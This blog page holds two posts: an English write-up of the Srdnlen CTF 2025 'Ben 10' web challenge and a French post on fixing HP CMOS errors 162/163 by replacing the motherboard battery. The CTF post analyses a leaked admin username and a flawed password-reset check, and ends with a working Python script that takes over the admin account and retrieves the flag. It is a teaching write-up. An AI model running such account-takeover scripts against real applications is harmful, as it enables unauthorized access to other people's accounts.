Author: Antoine Smaguine

  • Writeup Srdnlen CTF 2025 – Ben 10

    Challenge

    CTFtime link : srdnlen CTF 2025

    CTF Date : 18-19 january 2025

    Challenge name : Ben 10

    Challenge description : Ben Tennyson’s Omnitrix holds a mysterious and powerful form called Materia Grigia — a creature that only those with the sharpest minds can access. It’s hidden deep within the system, waiting for someone clever enough to unlock it. Only the smartest can access what’s truly hidden.

    Can you outsmart the system and reveal the flag?

    Author: @gheddus

    Challenge category : web

    Challenge points at the end of the CTF : 50 points

    Challenge resources : Zip file containing the source code of the application ben10.zip

    Research

    First of all, as we’re working on a web challenge, it might be a good idea to take a quick inventory of the various technologies used by the application before getting started.

    Consequently, we’re working on an application developed in Python with the Flask framework, using an SQLite database.

    Find the flag’s location

    As this is a white-box challenge, we have the source code at our disposal. Therefore, our first objective will be to find the location of the flag before we can start working.

    If we look in the Dockerfile, we see that when the container is launched, the flag is inserted in an environment variable.

    Source file ben10/Dockerfile – line 12

    ENV FLAG="srdnlen{test_flag}"

    This environment variable is then retrieved by the python application and inserted into a python variable named: FLAG.

    Source file ben10/app.py – line 10

    FLAG = os.getenv('FLAG', 'srdnlen{TESTFLAG}')

    This variable is then used by the image function…

    Source file: ben10/app.py – function: image(image_id) – lines: 218 to 222

    flag = None
    if username.startswith('admin') and image_id == 'ben10':
        flag = FLAG
    
    return render_template('image_viewer.html', image_name=image_id, flag=flag)

    …which, assuming that the user has a name starting with admin and that the image displayed is the one with id ben10, it will render the flag on the HTML page image_viewer.html.

    Source file: ben10/templates/image_viewer.html – lines 11 to 15

    {% if flag %}
    <div class="flag-container">
        <p class="error">Flag: {{ flag }}</p>
    </div>
    {% endif %}

    Finding a way to become admin

    To sum up, to be able to see the flag on the application, you need a name that starts with admin. Very well then ! Let’s create a user with a name that starts with admin.

    Unfortunately, the application rejects us.

    In fact, when we look at the application code, we see that the register() function does not allow the creation of users with names beginning with admin.

    Source file: ben10/app.py – function: register() – lines: 81 to 83

    if username.startswith('admin') or '^' in username:
        flash("I don't like admins", "error")
        return render_template('register.html')

    However, we can see that a user with a name starting with admin is created each time a new user is registered in the application.

    Source file: ben10/app.py – function: register() – lines: 89 to 104

    admin_username = f"admin^{username}^{secrets.token_hex(5)}"
    admin_password = secrets.token_hex(8)
    
    try:
        conn = sqlite3.connect(DATABASE)
        cursor = conn.cursor()
        cursor.execute("INSERT INTO users (username, password, admin_username) VALUES (?, ?, ?)",
                        (username, password, admin_username))
        cursor.execute("INSERT INTO users (username, password, admin_username) VALUES (?, ?, ?)",
                        (admin_username, admin_password, None))
        conn.commit()
    except sqlite3.IntegrityError:
        flash("Username already exists!", "error")
        return render_template('register.html')
    finally:
        conn.close()

    One very interesting thing is that the administrator’s name is recorded twice in the database. The first time on the same line where the user’s login and password are stored, and the second time on the line where the admin’s login and password are stored.

    Let’s create user1 in the application to see how this translates into the database.

    NB: the real application database is not accessible for this challenge. It’s only because the source code has been made available for the challenge that we can study more concretely the modifications made to the database by the application by running it locally. Consequently, the data presented in the database are not really those of the challenge, but only those created by my local instance of the application at the time of my user’s creation. The admin user’s identifiers are not usable for the real challenge, but only for my local instance.

    idusernamepasswordadmin_usernamereset_token
    1user1password_user1admin^user1^e96e42f479
    2admin^user1^e96e42f479d9e64aa22f210291

    It’s already clear that a brute force attack on the admin’s name or password is impossible. There is around 1.1 x 10^12 possible combinations for the admin username and around 1.84 x 10^19 possible combinations for the admin password. We can’t brute force both the admin username and admin password in the time of this CTF given the ressource we have at the moment. So let’s forget about this option.

    Why save the admin name on the same line as the user credentials? It’s very odd but it doesn’t matter, I had an idea to test first: can we do an SQL injection on this database?

    Is it possible to perform SQL injection?

    Given the existence of a SQL database and the fact that our application executes queries on it, taking into account user inputs, it’s legitimate to ask whether we can somehow achieve a SQL injection on this database. The goal is for it to be able to return the administration login and password.

    To do this, we need to check whether our code is vulnerable to SQL injections. After a study of the application’s source code and some research on the Internet, it seems unlikely that we can perform SQL injections on this database, as all the queries seem to be correctly constructed using placeholders to insert the query parameters and not a concatenation of character strings. See the example below:

    Source file: ben10/app.py – function: update_password(username, new_password) – line: 61

    cursor.execute("UPDATE users SET password = ?, reset_token = NULL WHERE username = ?", (new_password, username))

    Here are the sources that allow me to confirm this hypothesis :

    Why is the admin username saved twice in the database?

    That’s the question we asked ourselves before: Why save the admin name on the same line as the user?

    If you look at the code, you’ll see that the admin name is saved in the same line where the user login and password are stored and then displayed in the source code of the application’s home page.

    Source file: ben10/app.py – function: home() – lines: 198 to 204

    username = session['username']
    
    user = get_user_by_username(username)
    admin_username = user[3] if user else None
    
    image_names = ['ben1', 'ben2', 'ben3', 'ben4', 'ben5', 'ben6', 'ben7', 'ben8', 'ben9', 'ben10']
    return render_template('home.html', username=username, admin_username=admin_username, image_names=image_names)

    Source file: ben10/templates/home.html – lines: 7 to 8

    <!-- secret admin username -->
    <div style="display:none;" id="admin_data">{{ admin_username }}</div>
    admin_username_in_inspect

    So we have access to data we’re not supposed to have access to. This looks like a Broken Access Control vulnerability.

    Can I reset the password for the admin username ?

    Okay, that’s a good lead. There’s a reason the admin username is there. We now have a way of retrieving the admin username without too much difficulty. Does this mean we can request a password reset for the admin?

    Unfortunately, if you follow the classic password reset process for a user, it’s not possible to do a password reset when you’re admin.

    admin_cant_get_reset_token

    Source file: ben10/app.py – function: reset_password() – lines: 134 to 138

    username = request.form['username']
    
    if username.startswith('admin'):
        flash("Admin users cannot request a reset token.", "error")
        return render_template('reset_password.html')

    Although at first glance it seems impossible to request an admin password reset, after a thorough analysis of the system set up to reset a user password, I realized that it contained a major security flaw. It’s all in the code below.

    Source file: ben10/app.py – function: forgot_password() – lines: 171 to 187

    if not username.startswith('admin'):
        token = get_reset_token_for_user(username)
        if token and token[0] == reset_token:
            update_password(username, new_password)
            flash(f"Password reset successfully.", "success")
            return redirect(url_for('login'))
        else:
            flash("Invalid reset token for user.", "error")
    else:
        username = username.split('^')[1]
        token = get_reset_token_for_user(username)
        if token and token[0] == reset_token:
            update_password(request.form['username'], new_password)
            flash(f"Password reset successfully.", "success")
            return redirect(url_for('login'))
        else:
            flash("Invalid reset token for user.", "error")

    The first part of the conditional structure (the part that starts with the if), presents the password reset process for a non-admin user. It’s the second part of the conditional structure (the part that starts with the else) that interests us, as it explains how to reset an admin password…

    Wait what?! But I thought an admin couldn’t request a reset token! Reset token which is necessary to reset a password. However, the code does provide for a situation in which the admin’s password can be changed. And that’s where the vulnerability lies. In fact, a reset token must be retrieved based on a username. The problem lies in the way the username is retrieved for the admin user.

    Source file: ben10/app.py – function: forgot_password() – line: 180

    username = username.split('^')[1]

    Here’s a demonstration of why this line 180 is a major security flaw, allowing us to change the administrator’s password.

    Source: python console

    >>> username="admin^user1^572a90dfdc"
    >>> username.split('^')[1]
    'user1'

    This means that to reset the password of user admin^user1^e96e42f479, the application will retrieve the token of user user1. Let’s exploit this.

    Manual exploitation

    With this vulnerability, I can request a reset token for user1

    user1_reset_token_request
    user1_reset_token_response

    …and then change the password of user admin^user1^e96e42f479 with this token.

    reset_password_form
    login_admin_after_reset

    Then, all I have to do is log on as a admin^user1^e96e42f479 with the new admin password I just set and everything works as expected!

    welcome_admin

    All I have to do now is display the flag by opening the page where Ben10’s image can be found.

    flag

    Automated exploitation

    To conclude, here’s a python script that exploit the same vulnerability automatically.

    import requests
    import random
    import string
    from bs4 import BeautifulSoup
    
    IP="HOSTNAME"
    PORT=5000
    BASE_URL="http://{0}:{1}/".format(IP, PORT)
    
    # Generate random username to be sure that nobody used this username before
    user_username=''.join(random.choice(string.ascii_letters) for i in range(24))
    
    #Generate user and new admin password
    user_password=''.join(random.choice(string.ascii_letters) for i in range(24))
    admin_password=''.join(random.choice(string.ascii_letters) for i in range(24))
    
    user_credentials = {'username':user_username, 'password':user_password}
    
    # Register the user
    print('Registration of user {0} with the password {1}'.format(user_username, user_password))
    r = requests.post(BASE_URL + "/register",data=user_credentials)
    soup = BeautifulSoup(r.content, 'html.parser')
    print(soup.find("p", {"class": "error"}).text)
    
    # Login as the User and get the admin username
    print('Log in user {0}'.format(user_username))
    r = requests.post(BASE_URL + "/login",data=user_credentials)
    soup = BeautifulSoup(r.content, 'html.parser')
    print(soup.find('div', {"class": "container"}).find("h1").text)
    print("Get the admin username once logged in as user {0}".format(user_username))
    admin_username = soup.find(id = 'admin_data').text
    print("Admin username: {0}".format(admin_username))
    
    # Log out User
    print("Log out user {0}".format(user_username))
    r = requests.get(BASE_URL + "/logout")
    soup = BeautifulSoup(r.content, 'html.parser')
    print(soup.find("p", {"class": "error"}).text)
    
    # Get user reset token
    print('Get Reset Token for user {0}'.format(user_username))
    r = requests.post(BASE_URL + "/reset_password",data={'username':user_username})
    soup = BeautifulSoup(r.content, 'html.parser')
    user_reset_token = soup.find("div", {"class": "reset-token-info"}).find('p').text.split(": ")[1]
    print("Reset Token for user {0}: {1}".format(user_username, user_reset_token))
    
    # Change the admin password using the reset token of user
    print('Reset password for user: {0} with user reset token {1}'.format(admin_username, user_reset_token))
    forgot_password_payload = {'username':admin_username, 'reset_token': user_reset_token, 'new_password': admin_password, "confirm_password": admin_password}
    r = requests.post(BASE_URL + "/forgot_password?token=" + user_reset_token,data=forgot_password_payload)
    soup = BeautifulSoup(r.content, 'html.parser')
    print("{0} for {1}".format(soup.find("p", {"class": "error"}).text.split('.')[0], admin_username))
    
    ## Login as admin and get the flag
    payload = {'username':admin_username, 'password':admin_password}
    with requests.Session() as session:
        print("Log in as admin")
        post = session.post(BASE_URL + "/login", data=payload)
        soup = BeautifulSoup(post.content, 'html.parser')
        print(soup.find('div', {"class": "container"}).find("h1").text)
        print("Go to ben10 image and get the flag")
        r = session.get(BASE_URL + "/image/ben10")
        soup = BeautifulSoup(r.content, 'html.parser')
        print(soup.find("p", {"class": "error"}).text)

    Here’s what the result of this script might look like:

    Registration of user YUTPGSLAZkVhpJOQCiCFuGrS with the password chTWxKNkDbkEfjxOTImvuejX
    Registration successful!
    Log in user YUTPGSLAZkVhpJOQCiCFuGrS
    Welcome, YUTPGSLAZkVhpJOQCiCFuGrS
    Get the admin username once logged in as user YUTPGSLAZkVhpJOQCiCFuGrS
    Admin username: admin^YUTPGSLAZkVhpJOQCiCFuGrS^6bfa7395df
    Log out user YUTPGSLAZkVhpJOQCiCFuGrS
    You have been logged out successfully.
    Get Reset Token for user YUTPGSLAZkVhpJOQCiCFuGrS
    Reset Token for user YUTPGSLAZkVhpJOQCiCFuGrS: Yaa9CV_6dIGSnZx3A0apKA
    Reset password for user: admin^YUTPGSLAZkVhpJOQCiCFuGrS^6bfa7395df with user reset token Yaa9CV_6dIGSnZx3A0apKA
    Password reset successfully for admin^YUTPGSLAZkVhpJOQCiCFuGrS^6bfa7395df
    Log in as admin
    Welcome, admin^YUTPGSLAZkVhpJOQCiCFuGrS^6bfa7395df
    Go to ben10 image and get the flag
    Flag: srdnlen{b3n_l0v3s_br0k3n_4cc355_c0ntr0l_vulns}
  • Comment résoudre les erreurs CMOS “162-System Options Not Set” et “163-Time & Date Not Set” ?

    Contexte

    Depuis pas mal de temps, je garde chez moi une pile de vieux ordinateurs inutilisés. Ce sont des machines que j’ai récupéré à droite à gauche au fur et à mesure du temps. À chaque fois que je récupérai un nouvel ordinateur, je me disais que cela allait être l’occasion de pouvoir expérimenter dessus. Pourtant, à part deux ou trois installations de serveurs ubuntu sur quelques unités, je n’avais jamais vraiment touché à ces ordinateurs. Ayant vu toutes ces machines prendre la poussière dans un coin de mon bureau, je me suis dis qu’il était temps de ressortir tout cela et de redémarrer ces petites merveilles.

    Problème

    C’est en démarrant un vieux HP Compaq 8000 Elite SFF de 2009 qu’un problème plutôt intéressant est apparu. Je vous laisse découvrir par vous même le message qui fût remonté à l’écran juste après un bip sonore provenant de la carte mère.

    Image 1 : Premier message.

    J’ai appuyé sur F1 pour sauvegarder les changements (sans trop comprendre les changements qui étaient appliqués) puis l’ordinateur a de nouveau démarré avec un nouveau message.

    Image 2 : Deuxième message.

    Une nouvelle fois, sans trop comprendre pourquoi l’ordinateur avait redémarré, j’ai appuyé une nouvelle fois sur F1. Le problème c’est que cela n’a pas marché. L’ordinateur n’arrêtait pas de redémarrer pour revenir à ce message d’erreur et ne voulait pas lancer le système d’exploitation. C’est à ce moment là que j’ai décidé d’allumer mon cerveau et d’arrêter d’appuyer sur F1 sans trop comprendre.

    Comprendre le problème

    J’ai une nouvelle fois démarré la machine, puis quand les deux messages à l’écran sont apparus, je les ai pris en photo afin de pouvoir les étudier plus amplement. Il était temps d’enquêter sur ces deux messages et de comprendre le réel problème.

    Commençons par le premier message (cf. Image 1). À ce moment là, beaucoup de questions se sont posées dans ma tête. Qu’est-ce que l’erreur “62-System Options Not Set” ? Qu’est-ce qu’une “Real Time Clock” du point de vue d’un ordinateur ? Pourquoi l’ordinateur me demande de changer la batterie embarquée si le problème persiste ? (un ordinateur peut posséder une batterie embarquée ?!) Et sinon que veut dire “CMOS checksum invalid” ?

    Concernant le deuxième message (cf. Image 2), celui-ci semble nous donner quelques informations en plus. En effet, l’erreur “63-Time & Date Not Set” est un peu plus claire. Apparemment la date et l’heure ne sont pas paramétrées et cela pourrait être la conséquence d’une perte d’énergie de la batterie embarquée. Est-ce que ce sont les options non configurées dont parlait le premier message ? Bref, après avoir collecté toutes ces données, il était temps de faire plus de recherches sur internet afin de bien comprendre toutes ces informations.

    Après quelques recherches j’ai cru comprendre que l’erreur “162-System Options Not Set” pouvait apparaitre pour plusieurs raisons :

    1. Soit les configurations dans le Firmware (programme intégré dans l’ordinateur lui permettant de fonctionner) ne sont pas correctes ;
    2. Soit la configuration a changé depuis la dernière mise sous tension (comme par exemple après l’ajout d’un nouveau disque dur) ;
    3. Soit une perte de tension sur la “Real Time Clock” a eu lieu. Apparemment cela proviendrait d’un problème avec la batterie embarquée de l’ordinateur.

    Pour ce qui est de la “Real Time Clock” ou “Horloge Temps Réel” en français (ci-après dénommé HTR), j’ai lu sur internet que c’était un petit circuit intégré présent dans l’ordinateur qui permet d’avoir un décompte très précis du temps. Afin de garder une trace du temps qui court, l’HTR possède une source d’énergie alternative à l’alimentation principale (provenant du bloc d’alimentation) lui permettant de continuer à fonctionner même quand l’ordinateur est éteint ! Donc la batterie embarquée dont parle le message doit sûrement désigner la source d’énergie alternative de l’HTR.

    Sinon, concernant “CMOS Checksum invalid”. D’après mes recherches, Cette phrase indiquerait que la configuration du PC est incorrecte. J’ai dans le même temps trouvé beaucoup de ressources sur internet me disant que la solution à ce problème était de changer la pile de la carte mère (c’est à dire la batterie embarquée). Ok très bien, mais cela ne m’aide toujours pas à comprendre pourquoi il faut le faire. D’ailleurs, pour l’instant je ne sais toujours pas ce que veut dire “CMOS”.

    Après quelques recherches, j’ai compris que le “CMOS” ou “Complementary Metal Oxide Semiconductor” est une “technologie de fabrication de composants électroniques”. C’est un terme très large mais on peut utiliser ce sigle pour désigner un circuit spécialisé contenant une petite mémoire, une horloge qui fonctionne de façon permanente grâce à une pile ainsi qu’un accumulateur qui se recharge quand l’alimentation de l’ordinateur est sous tension. C’est ce composant qui permet d’enregistrer l’heure et la date pour le système de l’ordinateur. Donc, si je comprends bien, le CMOS serait le nom du composant électronique qui contiendrait l’HTR. Et si l’on en croit le deuxième message, le problème de configuration proviendrait de l’horloge.

    Pourquoi ce problème ?

    Pour résumer, le problème viendrait du fait que l’ordinateur ait perdu la notion du temps et qu’il faudrait la lui redonner afin qu’il puisse fonctionner correctement. Très bien mais de mon point de vue cela n’a aucun sens. Pourquoi connaître la date et l’heure est essentiel pour qu’un ordinateur puisse démarrer ?

    Bien sûr connaître la date et l’heure est important pour l’ordinateur afin qu’il puisse exécuter des tâches planifiées, rédiger correctement les métadonnées des fichiers qu’il sauvegarde sur son disque dur, etc… Cependant, cela ne me parait pas essentiel pour démarrer. Alors pourquoi l’ordinateur me demande de paramétrer l’heure et la date au préalable avant de lancer le système d’exploitation ?

    D’ailleurs j’ai remarqué que très peu de monde se posait cette question sur internet. Nous avons énormément de personnes nous donnant la solution pour corriger ce problème (ce qui est important bien sûr) mais très peu nous explique pourquoi il faut faire cela. D’ailleurs j’ai fait le test en paramétrant une mauvaise date et cela fonctionne aussi bien. En fait il demande simplement de changer l’heure puis il considère le nouveau changement comme correct… Je suis perdu.

    Un soir, alors que je continuai à chercher sur internet des réponses à mes questions, je suis tombé sur un article dont le titre était : “Why does my computer need a battery?”. D’après ce site, la mémoire du CMOS contiendrait plus que les données de l’HTR. Il contiendrait les données de configuration de l’ordinateur. Ok, là cela me parait beaucoup plus essentiel qu’une simple horloge. Nous avons une piste de solution. Plus tard dans la soirée, j’ai trouvé la documentation technique d’un HP Compaq 8000 Elite Series Business Desktop Computers. Ce n’est pas exactement le même modèle que mon ordinateur mais celui-ci est assez proche. En naviguant dans la documentation, j’ai pu découvrir ce schéma :

    Image 3 : Décomposition de la mémoire du CMOS

    Comme nous pouvons le constater dans le schéma, sur les 256 bytes de RAM du CMOS, seulement 14 bytes servent pour l’HTR. Ce qui laisse 242 bytes pour ce que l’on appelle la mémoire de configuration. Cela confirme les dires de l’article “Why does my computer need a battery?”. Très bien mais quand on parle de mémoire de configuration, que contient cette mémoire ? En allant plus loin dans le document, j’ai pu découvrir ce magnifique tableau :

    Image 4 : Détails des fonctions enregistrées sur la mémoire du CMOS.

    Sans rentrer forcément dans les détails, on peut tout à fait constater à la lecture de l’image 3 et 4 qu’il y a bien plus important que l’horloge interne pour permettre à l’ordinateur de démarrer. Après avoir feuilleté la documentation concernant le CMOS, j’ai découvert que si celui-ci n’est plus alimenté, toutes les configurations contenues dans la mémoire du CMOS reprennent les paramètres par défaut. Ces informations permettent de confirmer le message d’erreur que nous avions sur la première image : “CMOS checksum invalid, default values loaded”. Eureka !

    Si je comprends bien, lors de la mise sous tension, l’ordinateur, n’ayant plus de mémoire, a besoin de paramétrer la totalité des configurations du système (notamment en identifiant les composants électroniques qui lui sont connectés). Sur l’image 1, on peut voir que l’ordinateur demande à l’utilisateur de confirmer la configuration qu’il a trouvé. L’utilisateur peut alors sauvegarder la configuration sur la mémoire du CMOS. Seulement l’horloge semble être la seule à devoir être paramétrée manuellement. C’est pour cela que le deuxième message arrive ensuite nous demandant de paramétrer manuellement la date et l’heure dans le BIOS. L’ordinateur ne peut valider la date et l’heure dans sa configuration par défaut. C’est pour cela qu’il ne peut pas démarrer. Par conséquent, l’utilisateur doit la paramétrer lui-même manuellement s’il veut débloquer la situation. Cela commence à faire plus de sens.

    On pourrait croire qu’il suffirait de configurer l’heure et la date pour régler le problème. En effet, il suffirait de faire cette manipulation pour utiliser l’ordinateur normalement par la suite. Cependant, cela fait plusieurs fois que je redémarre cet ordinateur et il me présente toujours la même erreur. Je peux raisonnablement déduire que le problème vient du fait que la batterie embarquée avec le CMOS ne fonctionne plus. La source alternative du CMOS étant hors d’usage, les données de configuration ne peuvent être maintenues une fois l’ordinateur éteint. C’est pour cette raison que la configuration est à faire à chaque démarrage.

    Bien entendu, il y a longtemps que j’avais compris que la solution à ce problème était le remplacement de la batterie embarquée du CMOS. En effet, quasiment tous les sites et vidéos que j’ai vues ne parlaient que de cela. Cependant, encore une fois, même si je savais ce qu’il fallait faire pour régler le problème, je voulais comprendre pourquoi je devais faire cela. Sinon pourquoi me prendre la tête à redémarrer un ordinateur hors d’usage ayant peu de puissance alors que j’en possède un beaucoup plus puissant ? Mon objectif est simple : m’éduquer et en apprendre un peu plus sur les ordinateurs. Si je ne suis là que pour suivre des tutoriels sans comprendre pourquoi je fait tout cela, cela n’a pas d’intérêt pour moi et je n’y prendrai aucun plaisir.

    Solution

    Bon je pense que l’on est sûr d’une chose, il faut changer la batterie embarquée. Il y a d’ailleurs un grand consensus sur internet concernant sur ce sujet. Nous pouvons raisonnablement penser que nous prenons la bonne décision en changeant celle-ci. Maintenant que nous avons fait ce constat, il faut tout de même répondre à d’autres questions : À quoi ressemble cette batterie ? Où se trouve-elle ? Où l’acheter ? Il est temps de repartir sur internet pour enquêter.

    En allant sur la documentation technique de mon ordinateur, j’ai pu trouver les indications pour remplacer la pile. J’ai ouvert l’ordinateur pour identifier où était la pile et j’ai pu voir que celle-ci était bien en évidence sur la carte mère.

    Image 5 : Emplacement de la pile sur la carte mère

    En définitive, c’est une simple pile bouton de 3 volts. Par conséquent il sera très simple d’en trouver une dans le commerce. Maintenant que je sais où se trouve la pile et comment la remplacer, il ne me reste plus qu’à aller en acheter une nouvelle. Je pars alors au supermarché du coin pour en acheter une puis je me dépêche de revenir chez moi pour remplacer l’ancienne.

    À peine rentré chez moi, je me précipite à mon ordinateur pour opérer le changement. Je fais attention à bien retirer le câble d’alimentation de l’ordinateur avant de faire la manipulation. J’ouvre le boitier, retire la pile usagée puis j’installe la nouvelle. Je referme le boitier, rebranche le câble d’alimentation puis allume l’ordinateur. Sans surprise, j’ai les deux messages d’erreurs “162-System Options Not Set” et “163-Time & Date Not Set”. Je rentre dans le BIOS pour mettre à jour l’heure puis l’ordinateur démarre sans soucis. Jusque là pas de changement par rapport à la dernière fois. J’éteins l’ordinateur puis pour être sûr qu’il n’y a plus de tension, je débranche le câble d’alimentation et appuie quelques secondes sur le bouton “Power”. Après quelques temps, je rebranche le PC. C’est alors que l’ordinateur démarre normalement sans message d’erreur. Problème résolu !

    Image 6 : Enfin…

    En définitive, l’ordinateur n’est jamais totalement éteint. Il existe toujours une petite partie de celui-ci qui fonctionne silencieusement (du moment que la pile du CMOS ait encore de l’énergie).

    Historique de mes recherches